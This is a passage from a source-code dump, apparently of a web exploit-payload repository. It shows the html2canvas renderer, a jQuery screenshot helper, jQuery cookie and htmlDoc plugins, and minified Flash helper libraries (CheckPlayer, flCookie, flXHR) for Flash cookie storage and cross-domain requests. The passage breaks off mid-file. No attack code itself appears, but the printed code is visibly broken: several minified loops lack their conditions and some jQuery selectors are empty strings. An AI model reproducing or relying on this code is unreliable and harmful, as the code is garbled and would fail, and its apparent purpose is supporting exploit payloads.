2669 | h2clog("html2canvas: Renderer: canvas not available, using flashcanvas");
2670 | var script = doc.createElement("script");
2671 | script.src = options.flashcanvas;
2672 |
2673 | script.onload = (function(script, func){
2674 | var intervalFunc;
2675 |
2676 | if (script.onload === undefined) {
2677 | // IE lack of support for script onload
2678 |
2679 | if( script.onreadystatechange !== undefined ) {
2680 |
2681 | intervalFunc = function() {
2682 | if (script.readyState !== "loaded" && script.readyState !== "complete") {
2683 | window.setTimeout( intervalFunc, 250 );
2684 |
2685 | } else {
2686 | // it is loaded
2687 | func();
2688 |
2689 | }
2690 |
2691 | };
2692 |
2693 | window.setTimeout( intervalFunc, 250 );
2694 |
2695 | } else {
2696 | h2clog("html2canvas: Renderer: Can't track when flashcanvas is loaded");
2697 | }
2698 |
2699 | } else {
2700 | return func;
2701 | }
2702 |
2703 | })(script, function(){
2704 |
2705 | if (typeof window.FlashCanvas !== "undefined") {
2706 | h2clog("html2canvas: Renderer: Flashcanvas initialized");
2707 | window.FlashCanvas.initElement( canvas );
2708 |
2709 | canvasReadyToDraw = true;
2710 | if ( _createCalled !== false ) {
2711 | methods._create.apply( null, _createCalled );
2712 | }
2713 | }
2714 | });
2715 |
2716 | doc.body.appendChild( script );
2717 |
2718 | }
2719 |
2720 | methods = {
2721 | _create: function( zStack, options, doc, queue, _html2canvas ) {
2722 |
2723 | if ( !canvasReadyToDraw ) {
2724 | _createCalled = arguments;
2725 | return canvas;
2726 | }
2727 |
2728 | var ctx = canvas.getContext("2d"),
2729 | storageContext,
2730 | i,
2731 | queueLen,
2732 | a,
2733 | newCanvas,
2734 | bounds,
2735 | testCanvas = document.createElement("canvas"),
2736 | hasCTX = ( testCanvas.getContext !== undefined ),
2737 | storageLen,
2738 | renderItem,
2739 | testctx = ( hasCTX ) ? testCanvas.getContext("2d") : {},
2740 | safeImages = [],
2741 | fstyle;
2742 |
2743 | canvas.width = canvas.style.width = (!usingFlashcanvas) ? options.width || zStack.ctx.width : Math.min(flashMaxSize, (options.width || zStack.ctx.width) );
2744 | canvas.height = canvas.style.height = (!usingFlashcanvas) ? options.height || zStack.ctx.height : Math.min(flashMaxSize, (options.height || zStack.ctx.height) );
2745 |
2746 | fstyle = ctx.fillStyle;
2747 | ctx.fillStyle = zStack.backgroundColor;
2748 | ctx.fillRect(0, 0, canvas.width, canvas.height);
2749 | ctx.fillStyle = fstyle;
2750 |
2751 | if ( options.svgRendering && zStack.svgRender !== undefined ) {
2752 | // TODO: enable async rendering to support this
2753 | ctx.drawImage( zStack.svgRender, 0, 0 );
2754 | } else {
2755 | for ( i = 0, queueLen = queue.length; i < queueLen; i+=1 ) {
2756 |
2757 | storageContext = queue.splice(0, 1)[0];
2758 | storageContext.canvasPosition = storageContext.canvasPosition || {};
2759 |
2760 | //this.canvasRenderContext(storageContext,parentctx);
2761 |
2762 | // set common settings for canvas
2763 | ctx.textBaseline = "bottom";
2764 |
2765 | if (storageContext.clip){
2766 | ctx.save();
2767 | ctx.beginPath();
2768 | // console.log(storageContext);
2769 | ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
2770 | ctx.clip();
2771 |
2772 | }
2773 |
2774 | if (storageContext.ctx.storage){
2775 |
2776 | for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){
2777 |
2778 | renderItem = storageContext.ctx.storage[a];
2779 |
2780 |
2781 | switch(renderItem.type){
2782 | case "variable":
2783 | ctx[renderItem.name] = renderItem['arguments'];
2784 | break;
2785 | case "function":
2786 | if (renderItem.name === "fillRect") {
2787 |
2788 | if (!usingFlashcanvas || renderItem['arguments'][0] + renderItem['arguments'][2] < flashMaxSize && renderItem['arguments'][1] + renderItem['arguments'][3] < flashMaxSize) {
2789 | ctx.fillRect.apply( ctx, renderItem['arguments'] );
2790 | }
2791 | }else if(renderItem.name === "fillText") {
2792 | if (!usingFlashcanvas || renderItem['arguments'][1] < flashMaxSize && renderItem['arguments'][2] < flashMaxSize) {
2793 | ctx.fillText.apply( ctx, renderItem['arguments'] );
2794 | }
2795 | }else if(renderItem.name === "drawImage") {
2796 |
2797 | if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){
2798 | if ( hasCTX && options.taintTest ) {
2799 | if ( safeImages.indexOf( renderItem['arguments'][ 0 ].src ) === -1 ) {
2800 | testctx.drawImage( renderItem['arguments'][ 0 ], 0, 0 );
2801 | try {
2802 | testctx.getImageData( 0, 0, 1, 1 );
2803 | } catch(e) {
2804 | testCanvas = doc.createElement("canvas");
2805 | testctx = testCanvas.getContext("2d");
2806 | continue;
2807 | }
2808 |
2809 | safeImages.push( renderItem['arguments'][ 0 ].src );
2810 |
2811 | }
2812 | }
2813 | ctx.drawImage.apply( ctx, renderItem['arguments'] );
2814 | }
2815 | }
2816 |
2817 |
2818 | break;
2819 | default:
2820 |
2821 | }
2822 |
2823 | }
2824 |
2825 | }
2826 | if (storageContext.clip){
2827 | ctx.restore();
2828 | }
2829 |
2830 | }
2831 | }
2832 |
2833 | h2clog("html2canvas: Renderer: Canvas renderer done - returning canvas obj");
2834 |
2835 | queueLen = options.elements.length;
2836 |
2837 | if (queueLen === 1) {
2838 | if (typeof options.elements[ 0 ] === "object" && options.elements[ 0 ].nodeName !== "BODY" && usingFlashcanvas === false) {
2839 | // crop image to the bounds of selected (single) element
2840 | bounds = _html2canvas.Util.Bounds( options.elements[ 0 ] );
2841 | newCanvas = doc.createElement('canvas');
2842 | newCanvas.width = bounds.width;
2843 | newCanvas.height = bounds.height;
2844 | ctx = newCanvas.getContext("2d");
2845 |
2846 | ctx.drawImage( canvas, bounds.left, bounds.top, bounds.width, bounds.height, 0, 0, bounds.width, bounds.height );
2847 | canvas = null;
2848 | return newCanvas;
2849 | }
2850 | } /*else {
2851 | // TODO clip and resize multiple elements
2852 |
2853 | for ( i = 0; i < queueLen; i+=1 ) {
2854 | if (options.elements[ i ] instanceof Element) {
2855 |
2856 | }
2857 |
2858 | }
2859 | }
2860 | */
2861 |
2862 |
2863 |
2864 | return canvas;
2865 | }
2866 | };
2867 |
2868 | return methods;
2869 |
2870 | };
2871 |
2872 | window.html2canvas = html2canvas;
2873 | }(window, document));
2874 |
2875 |
--------------------------------------------------------------------------------
/src/includes/html2canvas/jquery.plugin.html2canvas.js:
--------------------------------------------------------------------------------
1 | /**
2 | @license html2canvas v0.34
3 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
4 | http://www.twitter.com/niklasvh
5 |
6 | Released under MIT License
7 | */
8 | /*
9 | * jQuery helper plugin for examples and tests
10 | */
11 | (function( $ ){
12 | $.fn.html2canvas = function(options) {
13 | if (options && options.profile && window.console && window.console.profile) {
14 | console.profile();
15 | }
16 | var date = new Date(),
17 | html2obj,
18 | $message = null,
19 | timeoutTimer = false,
20 | timer = date.getTime();
21 | options = options || {};
22 |
23 | options.onrendered = options.onrendered || function( canvas ) {
24 | var $canvas = $(canvas),
25 | finishTime = new Date();
26 |
27 | if (options && options.profile && window.console && window.console.profileEnd) {
28 | console.profileEnd();
29 | }
30 | $canvas.css({
31 | position: 'absolute',
32 | left: 0,
33 | top: 0
34 | }).appendTo(document.body);
35 | $canvas.siblings().toggle();
36 |
37 | $(window).click(function(){
38 | $canvas.toggle().siblings().toggle();
39 | throwMessage("Canvas Render " + ($canvas.is(':visible') ? "visible" : "hidden"));
40 | });
41 | throwMessage('Screenshot created in '+ ((finishTime.getTime()-timer)) + " ms
",4000);
42 |
43 | // test if canvas is read-able
44 | try {
45 | $canvas[0].toDataURL();
46 | } catch(e) {
47 | if ($canvas[0].nodeName.toLowerCase() === "canvas") {
48 | // TODO, maybe add a bit less offensive way to present this, but still something that can easily be noticed
49 | alert("Canvas is tainted, unable to read data");
50 | }
51 | }
52 | };
53 |
54 | html2obj = html2canvas(this, options);
55 |
56 | function throwMessage(msg,duration){
57 | window.clearTimeout(timeoutTimer);
58 | timeoutTimer = window.setTimeout(function(){
59 | $message.fadeOut(function(){
60 | $message.remove();
61 | $message = null;
62 | });
63 | },duration || 2000);
64 | if ($message)
65 | $message.remove();
66 | $message = $('').html(msg).css({
67 | margin:0,
68 | padding:10,
69 | background: "#000",
70 | opacity:0.7,
71 | position:"fixed",
72 | top:10,
73 | right:10,
74 | fontFamily: 'Tahoma',
75 | color:'#fff',
76 | fontSize:12,
77 | borderRadius:12,
78 | width:'auto',
79 | height:'auto',
80 | textAlign:'center',
81 | textDecoration:'none',
82 | display:'none'
83 | }).appendTo(document.body).fadeIn();
84 | html2obj.log(msg);
85 | }
86 | };
87 | })( jQuery );
88 |
89 |
--------------------------------------------------------------------------------
/src/includes/jquery.ba-htmldoc.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * jQuery htmlDoc "fixer" - v0.2pre - 12/15/2010
3 | * http://benalman.com/projects/jquery-misc-plugins/
4 | *
5 | * Copyright (c) 2010 "Cowboy" Ben Alman
6 | * Dual licensed under the MIT and GPL licenses.
7 | * http://benalman.com/about/license/
8 | */
9 |
10 | (function($){
11 |
12 | var // RegExp that matches opening and closing HTML, HEAD, BODY tags.
13 | // $1 = slash, $2 = tag name, $3 = attributes
14 | rtag = /<(\/?)(html|head|body)(\s+[^>]*)?>/ig,
15 |
16 | // Unique id prefix for selecting placeholder elements.
17 | prefix = 'hd' + +new Date();
18 |
19 | $.htmlDoc = function( str ) {
20 | var // A collection of "intended" elements that can't be rendered
21 | // cross-browser with .innerHTML, for which placeholders must be
22 | // swapped.
23 | elems = $([]),
24 |
25 | // Input HTML string, parsed to include placeholder DIVs.
26 | parsed,
27 |
28 | // A node under which a temporary DOM tree can be constructed.
29 | root;
30 |
31 | // Replace HTML, HEAD, BODY tags with DIV placeholders.
32 | parsed = str.replace( rtag, function( tag, slash, name, attrs ) {
33 |
34 | var // Current intended / placeholder element index.
35 | len = elems.length,
36 |
37 | // Temporary object in which to hold attributes.
38 | obj = {};
39 |
40 | // If this is an opening tag...
41 | if ( !slash ) {
42 |
43 | // Add an element of this name into the collection of elements. Note
44 | // that if a string of attributes is added at this point, it fails.
45 | elems = elems.add( '<' + name + '/>' );
46 |
47 | // If the original tag had attributes, create a temporary div with
48 | // those attributes. Then, copy each attribute from the temporary div
49 | // over to the temporary object.
50 | if ( attrs ) {
51 | $.each( $( '' )[0].attributes, function(i,v){
52 | obj[ v.name ] = v.value;
53 | });
54 | }
55 |
56 | // Set the attributes of the intended object based on the attributes
57 | // copied in the previous step.
58 | elems.eq( len ).attr( obj );
59 | }
60 |
61 | // A placeholder div with a unique id replaces the intended element's
62 | // tag in the parsed HTML string.
63 | return '<' + slash + 'div'
64 | + ( slash ? '' : ' id="' + prefix + len + '"' ) + '>';
65 | });
66 |
67 | // If placeholder elements were necessary...
68 | if ( elems.length ) {
69 |
70 | // Create the root node and append the parsed, place-held HTML.
71 | root = $('').html( parsed );
72 |
73 | // Replace each placeholder element with its intended element.
74 | $.each( elems, function(i,v){
75 | var elem = root.find( '#' + prefix + i ).before( elems[i] );
76 | elems.eq(i).html( elem.contents() );
77 | elem.remove();
78 | });
79 |
80 | // Return the topmost intended element(s), sans text nodes.
81 | return root.children();
82 | }
83 |
84 | // No placeholder elements were necessary, so just return a normal
85 | // jQuery-parsed HTML string.
86 | return $(str);
87 | };
88 |
89 | })(jQuery);
90 |
--------------------------------------------------------------------------------
/src/includes/jquery.cookie.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * jQuery Cookie Plugin
3 | * https://github.com/carhartl/jquery-cookie
4 | *
5 | * Copyright 2011, Klaus Hartl
6 | * Dual licensed under the MIT or GPL Version 2 licenses.
7 | * http://www.opensource.org/licenses/mit-license.php
8 | * http://www.opensource.org/licenses/GPL-2.0
9 | */
10 | (function($) {
11 | $.cookie = function(key, value, options) {
12 |
13 | // key and at least value given, set cookie...
14 | if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) {
15 | options = $.extend({}, options);
16 |
17 | if (value === null || value === undefined) {
18 | options.expires = -1;
19 | }
20 |
21 | if (typeof options.expires === 'number') {
22 | var days = options.expires, t = options.expires = new Date();
23 | t.setDate(t.getDate() + days);
24 | }
25 |
26 | value = String(value);
27 |
28 | return (document.cookie = [
29 | encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value),
30 | options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
31 | options.path ? '; path=' + options.path : '',
32 | options.domain ? '; domain=' + options.domain : '',
33 | options.secure ? '; secure' : ''
34 | ].join(''));
35 | }
36 |
37 | // key and possibly options given, get cookie...
38 | options = value || {};
39 | var decode = options.raw ? function(s) { return s; } : decodeURIComponent;
40 |
41 | var pairs = document.cookie.split('; ');
42 | for (var i = 0, pair; pair = pairs[i] && pairs[i].split('='); i++) {
43 | if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined
44 | }
45 | return null;
46 | };
47 | })(jQuery);
48 |
--------------------------------------------------------------------------------
/src/includes/serverside/simplepassthru.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/includes/swf/checkplayer.js:
--------------------------------------------------------------------------------
1 | /* CheckPlayer 1.0.2
2 | Copyright (c) 2008 Kyle Simpson, Getify Solutions, Inc.
3 | This software is released under the MIT License
4 |
5 | ====================================================================================================
6 | Portions of this code were extracted and/or derived from:
7 |
8 | SWFObject v2.1 & 2.2a8
9 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis
10 | This software is released under the MIT License
11 | */
12 | (function(R){var E=R,V=R.document,N="undefined",G=true,X=false,W="",H="object",O="function",T="string",M="div",D="onunload",J="none",U=null,P=null,I=null,L=null,K="flensed.js",F="checkplayer.js",B="swfobject.js",C=R.setTimeout,A=R.clearTimeout,S=R.setInterval,Q=R.clearInterval;if(typeof R.flensed===N){R.flensed={}}if(typeof R.flensed.checkplayer!==N){return }P=R.flensed;C(function(){var Y=X,i=V.getElementsByTagName("script"),d=i.length;try{P.base_path.toLowerCase();Y=G}catch(b){P.base_path=""}function g(o,n,p){for(var m=0;m=0){break}}}var l=V.createElement("script");l.setAttribute("src",P.base_path+o);if(typeof n!==N){l.setAttribute("type",n)}if(typeof p!==N){l.setAttribute("language",p)}V.getElementsByTagName("head")[0].appendChild(l)}if((typeof i!==N)&&(i!==null)){if(!Y){var j=0;for(var c=0;c=0)||((j=i[c].src.indexOf(F))>=0)){P.base_path=i[c].src.substr(0,j);break}}}}}try{R.swfobject.getObjectById("a")}catch(h){g(B,"text/javascript")}try{P.ua.pv.join(".")}catch(f){g(K,"text/javascript")}function Z(){A(a);try{E.detachEvent(D,arguments.callee)}catch(k){}}try{E.attachEvent(D,Z)}catch(e){}var a=C(function(){Z();try{R.swfobject.getObjectById("a");P.ua.pv.join(".")}catch(k){throw new R.Error("CheckPlayer dependencies failed to load.")}},20000)},0);P.checkplayer=function(x,AI,o,AB){if(typeof I._ins!==N){if(I._ins.ready()){setTimeout(function(){AI(I._ins)},0)}return I._ins}var a="6.0.65",z=[],i=null,f=X,g=null,AK=null,s=W,d=X,l=null,b=[],r={},AA=[],e=null,AG=null,AF=null,m=null,h=X,AH=null,k=X,t=X,p=X,AE=null;var Z=function(){if((typeof x!==N)&&(x!==null)&&(x!==X)){AG=x+W}else{AG="0.0.0"}if(typeof AI===O){AF=AI}if(typeof o!==N){h=!(!o)}if(typeof AB===O){m=AB}function AM(){A(g);try{E.detachEvent(D,AM)}catch(AP){}}try{E.attachEvent(D,AM)}catch(AN){}(function AO(){try{P.bindEvent(E,D,y)}catch(AP){g=C(arguments.callee,25);return }AM();AH=P.ua.pv.join(".");g=C(AD,1)})()}();function AD(){try{e=V.getElementsByTagName("body")[0]}catch(AN){}if((typeof e===N)||(e===null)){g=C(AD,25);return }try{R.swfobject.getObjectById("a");L=R.swfobject}catch(AM){g=C(AD,25);return }t=L.hasFlashPlayerVersion(a);k=L.hasFlashPlayerVersion(AG);AJ();if(typeof AF===O){AF(j)}d=G;if(k){u()}else{if(h&&!f){v()}}}function y(){if(typeof E.detachEvent!==N){E.detachEvent(D,y)}I._ins=null;if((typeof l!==N)&&(l!==null)){try{l.updateSWFCallback=null;AC=null}catch(AP){}l=null}try{for(var AO in j){if(j[AO]!==Object.prototype[AO]){try{j[AO]=null}catch(AN){}}}}catch(AM){}j=null;e=null;Y();AA=null;AF=null;m=null;try{for(var AS in I){if(I[AS]!==Object.prototype[AS]){try{I[AS]=null}catch(AR){}}}}catch(AQ){}I=null;P.checkplayer=null;P=null;R=null}function AL(AN,AO,AM){AA[AA.length]={func:AN,funcName:AO,args:AM}}function u(){if(!d){i=C(u,25);return }var AO=0;try{AO=AA.length}catch(AP){}for(var AN=0;AN0)){Aa=Ad.swfTimeout}if(typeof Ad.swfEICheck!==N&&Ad.swfEICheck!==null&&Ad.swfEICheck!==W){AM=Ad.swfEICheck}}else{if(typeof Ad===O){AX=Ad}}}try{AV=L.createSWF(AZ,AY,Ag)}catch(AQ){}if(AV!==null){b[b.length]=Ae;if(typeof AX===O){AX({status:I.SWF_INIT,srcId:Ae,srcElem:AV});r[Ae]=S(function(){var Ai=P.getObjectById(Ae);if((typeof Ai!==N)&&(Ai!==null)&&(Ai.nodeName==="OBJECT"||Ai.nodeName==="EMBED")){var Ah=0;try{Ah=Ai.PercentLoaded()}catch(Aj){}if(Ah>0){if(Aa>0){A(r["DoSWFtimeout_"+Ae]);r["DoSWFtimeout_"+Ae]=X}if(Ah<100){C(function(){AX({status:I.SWF_LOADING,srcId:Ae,srcElem:Ai})},1)}else{Q(r[Ae]);r[Ae]=X;C(function(){AX({status:I.SWF_LOADED,srcId:Ae,srcElem:Ai})},1);if(AM!==W){var Ak=X;r[Ae]=S(function(){if(!Ak&&typeof Ai[AM]===O){Ak=G;try{Ai[AM]();Q(r[Ae]);r[Ae]=X;AX({status:I.SWF_EI_READY,srcId:Ae,srcElem:Ai})}catch(Al){}Ak=X}},25)}}}}},50);if(Aa>0){r["DoSWFtimeout_"+Ae]=C(function(){var Ai=P.getObjectById(Ae);if((typeof Ai!==N)&&(Ai!==null)&&(Ai.nodeName==="OBJECT"||Ai.nodeName==="EMBED")){var Ah=0;try{Ah=Ai.PercentLoaded()}catch(Aj){}if(Ah<=0){Q(r[Ae]);r[Ae]=X;if(P.ua.ie&&P.ua.win&&Ai.readyState!==4){Ai.id="removeSWF_"+Ai.id;Ai.style.display=J;r[Ai.id]=S(function(){if(Ai.readyState===4){Q(r[Ai.id]);r[Ai.id]=X;L.removeSWF(Ai.id)}},500)}else{L.removeSWF(Ai.id)}r[Ae]=X;r["DoSWFtimeout_"+Ae]=X;AX({status:I.SWF_TIMEOUT,srcId:Ae,srcElem:Ai})}}},Aa)}}}else{if(typeof AX===O){AX({status:I.SWF_FAILED,srcId:Ae,srcElem:null})}else{throw new R.Error("checkplayer::DoSWF(): SWF could not be loaded.")}}}else{if(typeof AX===O){AX({status:I.SWF_FAILED,srcId:Ae,srcElem:null})}else{throw new R.Error("checkplayer::DoSWF(): Minimum Flash Version not detected.")}}}var j={playerVersionDetected:AH,versionChecked:AG,checkPassed:k,UpdatePlayer:v,DoSWF:function(AR,AS,AP,AQ,AN,AM,AO,AT){q(AR,AS,AP,AQ,AN,AM,AO,AT,X)},ready:function(){return d},updateable:t,updateStatus:p,updateControlsContainer:AE};I._ins=j;return j};I=P.checkplayer;I.UPDATE_INIT=1;I.UPDATE_SUCCESSFUL=2;I.UPDATE_CANCELED=3;I.UPDATE_FAILED=4;I.SWF_INIT=5;I.SWF_LOADING=6;I.SWF_LOADED=7;I.SWF_FAILED=8;I.SWF_TIMEOUT=9;I.SWF_EI_READY=10;I.module_ready=function(){}})(window);
--------------------------------------------------------------------------------
/src/includes/swf/flCookie.js:
--------------------------------------------------------------------------------
1 | /* flCookie 0.1
2 | Copyright (c) 2009 Kyle Simpson, Getify Solutions, Inc.
3 | This software is released under the MIT License
4 |
5 | ====================================================================================================
6 | */
7 | (function(r){var x=r,n=r.document,v=true,o=false,b="",w="undefined",l="object",p="function",m="string",t="div",f="onunload",z=null,y=0,q=null,j=null,u=null,a="text/javascript",i="flCookie.js",k="flensed.js",d="checkplayer.js",g="flCookie.swf",h=i,e=r.parseInt,s=r.setTimeout,c=r.clearTimeout;if(typeof r.flensed===w){r.flensed={}}if(typeof r.flensed.flCookie!==w){return}q=r.flensed;s(function(){var A=o,L=n.getElementsByTagName("script"),P=n.getElementsByTagName("head")[0],F=L.length;try{q.base_path.toLowerCase();A=v}catch(D){q.base_path=b}function J(T,S){for(var R=0;R=0){break}}}var Q=n.createElement("script");Q.setAttribute("src",q.base_path+T);if(typeof S!==w){Q.setAttribute("type",S)}P.appendChild(Q)}if((typeof L!==w)&&(L!==null)){if(!A){var M=0;for(var E=0;E=0)||((M=L[E].src.indexOf(i))>=0)){q.base_path=L[E].src.substr(0,M);break}}}}}try{q.checkplayer.module_ready()}catch(K){J(d,a)}J(k,a);var N=null;(function O(){try{q.ua.pv.join(".")}catch(Q){N=s(arguments.callee,25);return}q.bindEvent(x,f,function(){try{r.flensed.unbindEvent(x,f,arguments.callee);for(var T in _flcookie){if(_flcookie.hasOwnProperty(T)){try{_flcookie[T]=null}catch(S){}}}q.flCookie=_flcookie=q=u=j=null}catch(R){}})})();function I(){c(N);try{x.detachEvent(f,I)}catch(Q){}}if(N!==null){try{x.attachEvent(f,I)}catch(H){}}var C=null;function B(){c(C);try{x.detachEvent(f,B)}catch(Q){}}try{x.attachEvent(f,B)}catch(G){}C=s(function(){B();try{q.checkplayer.module_ready()}catch(Q){throw new r.Error("flCookie dependencies failed to load.")}},20000)},0);q.flCookie=function(B,af,S,ab){if(typeof B===m){if(B.length>0&&B.charAt(B.length-1)!=="/"){B+="/"}}else{B=b}if(typeof af!==m){af=b}if(typeof S!==p){S=function(){}}var R=++y,N,G=null,L,P="flCookieHideSwf",K=o,A=o,J=o,V=b,D,I=n.getElementsByTagName("body"),W=o,Y=null,F="flCookie_swf";var aa=function(){V=F+"_"+R;function ag(){c(L);try{x.detachEvent(f,ag)}catch(aj){}}try{x.attachEvent(f,ag)}catch(ah){}(function ai(){try{q.bindEvent(x,f,O)}catch(aj){L=s(arguments.callee,25);return}ag();L=s(X,1)})()}();function X(){if(Y===null){G=I[0]}else{G=q.getObjectById(Y)}try{G.nodeName.toLowerCase();q.checkplayer.module_ready();j=q.checkplayer}catch(ah){L=s(X,25);return}q.bindEvent(x,f,O);j=q.checkplayer;if((u===null)&&(typeof j._ins===w)){try{u=new j(_flcookie.MIN_PLAYER_VERSION,T,o,Z)}catch(ag){U(_flcookie.DEPENDENCY_ERROR,"flCookie: checkplayer Init Failed","The initialization of the 'checkplayer' library failed to complete.");return}}else{u=j._ins;ad()}}function ad(){if(K===null&&Y===null){q.createCSS("."+P,"left:-1px;top:0px;width:1px;height:1px;position:absolute;");K=v}var ak=n.createElement(t);ak.id=V;ak.className=P;G.appendChild(ak);G=null;var ah={},al={allowScriptAccess:"always"},ai={id:V,name:V,styleclass:P},aj={swfCB:M,swfEICheck:"setId"};try{u.DoSWF(B+g,V,"1","1",ah,al,ai,aj)}catch(ag){U(_flcookie.DEPENDENCY_ERROR,"flCookie: checkplayer Call Failed","A call to the 'checkplayer' library failed to complete.");return}}function T(ag){if(ag.checkPassed){ad()}else{if(!W){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Insufficient Flash Player Version","The Flash Player was either not detected, or the detected version ("+ag.playerVersionDetected+") was not at least the minimum version ("+_flcookie.MIN_PLAYER_VERSION+") needed by the 'flCookie' library.")}else{u.UpdatePlayer()}}}function Z(ag){if(ag.updateStatus===j.UPDATE_CANCELED){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Flash Player Update Canceled","The Flash Player was not updated.")}else{if(ag.updateStatus===j.UPDATE_FAILED){U(_flcookie.PLAYER_VERSION_ERROR,"flCookie: Flash Player Update Failed","The Flash Player was either not detected or could not be updated.")}}}function M(ag){if(ag.status!==j.SWF_EI_READY){return}ae();D=q.getObjectById(V);D.setId(V);D.doOnError=U;D.doOnReady=Q;D.initCookie(af)}function ac(ag){A=v;s(function(){try{S(N)}catch(ah){U(_flcookie.HANDLER_ERROR,"flCookie::readyCallback(): Error","An error occurred in the handler function. ("+ah.message+")");return}},0)}function O(){try{r.flensed.unbindEvent(x,f,O)}catch(aj){}try{for(var ai in N){if(N.hasOwnProperty(ai)){try{N[ai]=null}catch(ah){}}}}catch(am){}N=null;ae();if((typeof D!==w)&&(D!==null)){try{D.doOnError=null;doOnError=null}catch(al){}try{D.doOnReady=null;doOnReady=null}catch(ak){}D=null;try{r.swfobject.removeSWF(V)}catch(ag){}}S=null;ab=null}function Q(){if(!A&&!J){ac()}}function U(){ae();J=v;var aj;try{aj=new q.error(arguments[0],arguments[1],arguments[2],N)}catch(ak){function ah(){this.number=0;this.name="flCookie Error: Unknown";this.description="Unknown error from 'flCookie' library.";this.message=this.description;this.srcElement=N;var ao=this.number,an=this.name,aq=this.description;function ap(){return ao+", "+an+", "+aq}this.toString=ap}aj=new ah()}var al=o;try{if(typeof ab===p){ab(aj);al=v}}catch(ag){var ai=aj.toString();function am(){this.number=_flcookie.HANDLER_ERROR;this.name="flCookie::errorCallback(): Error";this.description="An error occured in the handler function. ("+ag.message+")\nPrevious:["+ai+"]";this.message=this.description;this.srcElement=N;var ao=this.number,an=this.name,aq=this.description;function ap(){return ao+", "+an+", "+aq}this.toString=ap}aj=new am()}if(!al){SETTIMEOUT(function(){q.throwUnhandledError(aj.toString())},1)}}function ae(){c(L);L=null}function E(ah){if(!J){if(typeof ah!==m||ah.length<1){return null}var ag=new Date().getTime(),ak,ai;try{ak=D.getValue(ah)}catch(aj){U(_flcookie.CALL_ERROR,"flCookie::getValue(): Failed","The getValue() call failed to complete.");return null}if(ak!==null){ak=ak.match(/^([^\;]+);(.*)/m);if(ak.length!==3||(ak[1]!=="."&&ag>=e(ak[1]))){H(ah);return null}return ak[2]}else{return null}}else{return null}}function C(ah,aj,ag){if(!J){if(typeof ah!==m||ah.length<1||typeof aj!==m||aj.length<1){return null}if(typeof ag!==w){if(typeof ag!==m){ag=b+ag}if(ag!=="."&&ag.match(/[^0-9]/g)){ag=Date.parse(ag)}else{if(ag===b){ag="."}}}else{ag="."}try{return D.setValue(ah,ag+";"+aj)}catch(ai){U(_flcookie.IO_ERROR,"flCookie::setValue(): Failed","The setValue() call failed to complete.");return o}}else{return o}}function H(ag){if(!J){if(typeof ag!==m||ag.length<1){return o}try{return D.deleteValue(ag)}catch(ah){U(_flcookie.IO_ERROR,"flCookie::deleteValue(): Failed","The deleteValue() call failed to complete.");return o}}else{return o}}N={instanceId:V,ready:function(){return A},getValue:E,setValue:C,deleteValue:H,Destroy:O};return N};_flcookie=q.flCookie;_flcookie.HANDLER_ERROR=10;_flcookie.CALL_ERROR=11;_flcookie.DEPENDENCY_ERROR=13;_flcookie.PLAYER_VERSION_ERROR=14;_flcookie.SECURITY_ERROR=15;_flcookie.IO_ERROR=16;_flcookie.MIN_PLAYER_VERSION="9";_flcookie.module_ready=function(){}})(window);
--------------------------------------------------------------------------------
/src/includes/swf/flCookie.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/src/includes/swf/flCookie.swf
--------------------------------------------------------------------------------
/src/includes/swf/flXHR.js:
--------------------------------------------------------------------------------
1 | /* flXHR 1.0.5 | Copyright (c) 2008-2010 Kyle Simpson, Getify Solutions, Inc. | This software is released under the MIT License */
2 | (function(c){var E=c,h=c.document,z="undefined",a=true,L=false,g="",o="object",k="function",N="string",l="div",e="onunload",H=null,y=null,K=null,q=null,x=0,i=[],m=null,r=null,G="flXHR.js",n="flensed.js",P="flXHR.vbs",j="checkplayer.js",A="flXHR.swf",u=c.parseInt,w=c.setTimeout,f=c.clearTimeout,s=c.setInterval,v=c.clearInterval,O="instanceId",J="readyState",D="onreadystatechange",M="ontimeout",C="onerror",d="binaryResponseBody",F="xmlResponseText",I="loadPolicyURL",b="noCacheHeader",p="sendTimeout",B="appendToId",t="swfIdPrefix";if(typeof c.flensed===z){c.flensed={}}if(typeof c.flensed.flXHR!==z){return}y=c.flensed;w(function(){var Q=L,ab=h.getElementsByTagName("script"),V=ab.length;try{y.base_path.toLowerCase();Q=a}catch(T){y.base_path=g}function Z(ai,ah,aj){for(var ag=0;ag=0){break}}}var af=h.createElement("script");af.setAttribute("src",y.base_path+ai);if(typeof ah!==z){af.setAttribute("type",ah)}if(typeof aj!==z){af.setAttribute("language",aj)}h.getElementsByTagName("head")[0].appendChild(af)}if((typeof ab!==z)&&(ab!==null)){if(!Q){var ac=0;for(var U=0;U=0)||((ac=ab[U].src.indexOf(G))>=0)){y.base_path=ab[U].src.substr(0,ac);break}}}}}try{y.checkplayer.module_ready()}catch(aa){Z(j,"text/javascript")}var ad=null;(function ae(){try{y.ua.pv.join(".")}catch(af){ad=w(arguments.callee,25);return}if(y.ua.win&&y.ua.ie){Z(P,"text/vbscript","vbscript")}y.binaryToString=function(aj,ai){ai=(((y.ua.win&&y.ua.ie)&&typeof ai!==z)?(!(!ai)):!(y.ua.win&&y.ua.ie));if(!ai){try{return flXHR_vb_BinaryToString(aj)}catch(al){}}var am=g,ah=[];try{for(var ak=0;ak0)){aH=H}if((typeof aR[D]!==z)&&(aR[D]!==null)){aK=aR[D]}if((typeof aR[C]!==z)&&(aR[C]!==null)){aD=aR[C]}if((typeof aR[M]!==z)&&(aR[M]!==null)){aO=aR[M]}}Y=S+"_"+aW;function 